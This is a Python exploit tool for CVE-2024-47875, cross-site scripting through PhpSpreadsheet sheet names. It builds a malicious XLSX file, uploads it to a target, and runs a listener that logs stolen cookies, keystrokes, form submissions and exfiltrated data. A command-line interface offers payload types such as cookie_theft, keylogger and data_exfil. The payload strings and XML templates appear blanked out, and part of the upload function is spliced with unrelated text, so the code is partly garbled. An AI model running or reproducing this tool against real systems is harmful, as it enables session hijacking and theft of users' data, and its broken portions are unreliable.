#!/usr/bin/env python3 """ CVE-2024-47875 PhpSpreadsheet XSS Exploit ========================================== Cross-Site Scripting vulnerability in PhpSpreadsheet's generateNavigation() function Affects: PhpSpreadsheet < 2.2.2, < 2.1.2, < 1.29.4 CVE ID: CVE-2024-47875 GitHub Advisory: GHSA-79xx-vf93-p7cx Description: When converting XLSX files with multiple sheets to HTML, PhpSpreadsheet creates a navigation menu using unsanitized sheet names, allowing XSS injection. Author: Your Name License: MIT Repository: https://github.com/yourusername/CVE-2024-47875-exploit """ import os import sys import zipfile import tempfile import shutil import requests import threading import time from pathlib import Path import http.server import socketserver from urllib.parse import parse_qs, urlparse import datetime import argparse import json import logging __version__ = "1.0.0" __author__ = "Roj" # Configure logging logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s' ) logger = logging.getLogger(__name__) class Colors: """Terminal color constants for better output visibility.""" RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' MAGENTA = '\033[95m' CYAN = '\033[96m' WHITE = '\033[97m' BOLD = '\033[1m' RESET = '\033[0m' class CVE202447875Exploit: """ CVE-2024-47875 PhpSpreadsheet XSS Exploit This class provides functionality to generate malicious XLSX files and exploit the XSS vulnerability in PhpSpreadsheet's sheet name handling. """ def __init__(self, target_url, attacker_ip, attacker_port=8000): """ Initialize the exploit with target and attacker details. Args: target_url (str): Target application URL attacker_ip (str): Attacker's IP for callbacks attacker_port (int): Port for exploit server """ self.target_url = target_url.rstrip('/') self.attacker_ip = attacker_ip self.attacker_port = attacker_port self.temp_dir = None self.server = None self.server_thread = None self.cookies_captured = [] self.data_captured = [] def print_banner(self): """Display exploit banner with vulnerability information.""" banner = f""" {Colors.RED}{Colors.BOLD} ╔══════════════════════════════════════════════════════════════════════╗ ║ CVE-2024-47875 Exploit ║ ║ PhpSpreadsheet XSS via Sheet Names ║ ║ GHSA-79xx-vf93-p7cx ║ ╚══════════════════════════════════════════════════════════════════════╝ {Colors.RESET} {Colors.YELLOW}Target URL:{Colors.WHITE} {self.target_url} {Colors.YELLOW}Attacker IP:{Colors.WHITE} {self.attacker_ip}:{self.attacker_port} {Colors.YELLOW}Vulnerability:{Colors.WHITE} Unsanitized sheet names in HTML conversion {Colors.YELLOW}Affected Versions:{Colors.WHITE} PhpSpreadsheet < 2.2.2, < 2.1.2, < 1.29.4 {Colors.RESET} """ print(banner) def create_malicious_xlsx(self, payload_type="cookie_theft", custom_payload=None): """ Create a malicious XLSX file with XSS payload embedded in sheet name. Args: payload_type (str): Type of payload to inject custom_payload (str): Custom XSS payload if provided Returns: str: Path to the created malicious XLSX file """ logger.info("Creating malicious XLSX file") # Create temporary directory self.temp_dir = tempfile.mkdtemp(prefix="cve_2024_47875_") # Define XSS payloads payloads = { "cookie_theft": f"", "redirect": f"", "alert": "", "keylogger": f"", "form_hijack": f"", "data_exfil": f"" } # Use custom payload or predefined one if custom_payload: xss_payload = custom_payload logger.info(f"Using custom payload: {custom_payload[:50]}...") else: xss_payload = payloads.get(payload_type, payloads["cookie_theft"]) logger.info(f"Using {payload_type} payload") # XLSX file structure components content_types = ''' ''' main_rels = ''' ''' workbook_rels = ''' ''' # Malicious workbook.xml with XSS payload in sheet name workbook = f''' ''' worksheet = ''' Sample Data CVE 2024-47875 ''' styles = ''' ''' core_props = f''' CVE-2024-47875 Exploit {datetime.datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ")} {datetime.datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ")} ''' app_props = ''' CVE-2024-47875 Exploit Generator 0 false false ''' # Create directory structure directories = ["_rels", "docProps", "xl/_rels", "xl/worksheets"] for directory in directories: os.makedirs(os.path.join(self.temp_dir, directory), exist_ok=True) # Write all files files = { "[Content_Types].xml": content_types, "_rels/.rels": main_rels, "docProps/core.xml": core_props, "docProps/app.xml": app_props, "xl/_rels/workbook.xml.rels": workbook_rels, "xl/workbook.xml": workbook, "xl/worksheets/sheet1.xml": worksheet, "xl/worksheets/sheet2.xml": worksheet, "xl/styles.xml": styles } for filename, content in files.items(): filepath = os.path.join(self.temp_dir, filename) with open(filepath, 'w', encoding='utf-8') as f: f.write(content) # Create XLSX file output_file = f"CVE-2024-47875-exploit-{datetime.datetime.now().strftime('%Y%m%d-%H%M%S')}.xlsx" try: with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zipf: for root, dirs, files in os.walk(self.temp_dir): for file in files: file_path = os.path.join(root, file) arc_path = os.path.relpath(file_path, self.temp_dir) zipf.write(file_path, arc_path) logger.info(f"Malicious XLSX created: {output_file}") print(f"{Colors.GREEN} ✓ Malicious XLSX created: {output_file}{Colors.RESET}") return output_file except Exception as e: logger.error(f"Failed to create XLSX: {e}") raise class ExploitHTTPHandler(http.server.SimpleHTTPRequestHandler): """Custom HTTP handler to capture exploit data.""" def __init__(self, *args, exploit_instance=None, **kwargs): self.exploit = exploit_instance super().__init__(*args, **kwargs) def do_GET(self): self._handle_request() def do_POST(self): self._handle_request() def _handle_request(self): """Handle both GET and POST requests for exploit data.""" parsed_url = urlparse(self.path) query_params = parse_qs(parsed_url.query) timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") client_ip = self.client_address[0] # Handle different exploit endpoints if parsed_url.path == '/steal': cookies = query_params.get('cookies', [''])[0] if cookies: print(f"\n{Colors.GREEN}{Colors.BOLD}🍪 COOKIES STOLEN! 🍪{Colors.RESET}") print(f"{Colors.CYAN}Time:{Colors.WHITE} {timestamp}") print(f"{Colors.CYAN}Source IP:{Colors.WHITE} {client_ip}") print(f"{Colors.CYAN}Cookies:{Colors.WHITE} {cookies}") print(f"{Colors.YELLOW}{'='*60}{Colors.RESET}") if self.exploit: self.exploit.cookies_captured.append({ 'timestamp': timestamp, 'ip': client_ip, 'cookies': cookies }) elif parsed_url.path == '/keylog': key = query_params.get('key', [''])[0] print(f"{Colors.YELLOW}[KEYLOG]{Colors.RESET} {client_ip}: {key}") elif parsed_url.path == '/pwned': print(f"{Colors.MAGENTA}[REDIRECT]{Colors.WHITE} User {client_ip} redirected to attacker site{Colors.RESET}") elif parsed_url.path == '/harvest': print(f"{Colors.RED}[FORM DATA]{Colors.WHITE} Form submitted from {client_ip}{Colors.RESET}") if self.command == 'POST': content_length = int(self.headers.get('Content-Length', 0)) post_data = self.rfile.read(content_length) print(f"Data: {post_data.decode('utf-8', errors='ignore')[:200]}...") elif parsed_url.path == '/exfil': print(f"{Colors.RED}[DATA EXFIL]{Colors.WHITE} Data exfiltrated from {client_ip}{Colors.RESET}") if self.command == 'POST': content_length = int(self.headers.get('Content-Length', 0)) exfil_data = self.rfile.read(content_length) print(f"Exfiltrated: {exfil_data.decode('utf-8', errors='ignore')[:200]}...") # Send response self.send_response(200) self.send_header('Content-type', 'application/json') self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS') self.send_header('Access-Control-Allow-Headers', 'Content-Type') self.end_headers() response_data = json.dumps({ 'status': 'success', 'message': 'CVE-2024-47875 exploit server', 'timestamp': timestamp }) self.wfile.write(response_data.encode()) def log_message(self, format, *args): """Suppress default logging to keep output clean.""" pass def start_exploit_server(self): """Start HTTP server to capture exploit callbacks.""" logger.info("Starting exploit server") try: def handler_wrapper(*args, **kwargs): return self.ExploitHTTPHandler(*args, exploit_instance=self, **kwargs) self.server = socketserver.TCPServer(("", self.attacker_port), handler_wrapper) self.server_thread = threading.Thread(target=self.server.serve_forever) self.server_thread.daemon = True self.server_thread.start() print(f"{Colors.GREEN} ✓ Exploit server listening on {self.attacker_ip}:{self.attacker_port}{Colors.RESET}") logger.info(f"Server started on port {self.attacker_port}") return True except Exception as e: logger.error(f"Failed to start server: {e}") print(f"{Colors.RED} ✗ Failed to start server: {e}{Colors.RESET}") return False def upload_file(self, xlsx_file, upload_endpoint="/upload"): """ Upload malicious XLSX to target application. Args: xlsx_file (str): Path to malicious XLSX file upload_endpoint (str): Upload endpoint on target Returns: bool: True if upload successful """ logger.info(f"Uploading {xlsx_file} to {self.target_url}{upload_endpoint}") try: with open(xlsx_file, 'rb') as f: files = { 'file': (xlsx_file, f, 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet') } upload_url = f"{self.target_url}{upload_endpoint}" response = requests.post( upload_url, files=files, timeout=30, headers={'User-Agent': 'CVE-2024-47875-Exploit/1.0'} ) if response.status_code in [200, 201, 202]: print(f"{Colors.GREEN} ✓ File uploaded successfully (Status: {response.status_code}){Colors.RESET}") logger.info(f"Upload successful: {response.status_code}") # Check if XSS payload is immediately visible if '" Payload Types: cookie_theft - Steal session cookies (default) redirect - Redirect users to attacker site alert - Simple alert popup for testing keylogger - Log keystrokes form_hijack - Intercept form submissions data_exfil - Exfiltrate data from /admin/config For more information: https://github.com/yourusername/CVE-2024-47875-exploit """ ) parser.add_argument('target_url', help='Target application URL') parser.add_argument('attacker_ip', help='Your IP address for exploit callbacks') parser.add_argument('-p', '--payload', choices=['cookie_theft', 'redirect', 'alert', 'keylogger', 'form_hijack', 'data_exfil'], default='cookie_theft', help='XSS payload type (default: cookie_theft)') parser.add_argument('-e', '--endpoint', default='/upload', help='Upload endpoint path (default: /upload)') parser.add_argument('--port', type=int, default=8000, help='Exploit server port (default: 8000)') parser.add_argument('--custom', help='Custom XSS payload') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose logging') parser.add_argument('--version', action='version', version=f'%(prog)s {__version__}') args = parser.parse_args() if args.verbose: logging.getLogger().setLevel(logging.DEBUG) # Validate inputs if not args.target_url.startswith(('http://', 'https://')): print(f"{Colors.RED}Error: Target URL must start with http:// or https://{Colors.RESET}") sys.exit(1) # Create and run exploit try: exploit = CVE202447875Exploit(args.target_url, args.attacker_ip, args.port) success = exploit.run_exploit(args.payload, args.endpoint, args.custom) sys.exit(0 if success else 1) except KeyboardInterrupt: print(f"\n{Colors.YELLOW}Exploit interrupted by user{Colors.RESET}") sys.exit(1) except Exception as e: logger.error(f"Unexpected error: {e}") print(f"{Colors.RED}Unexpected error: {e}{Colors.RESET}") sys.exit(1) if __name__ == "__main__": main()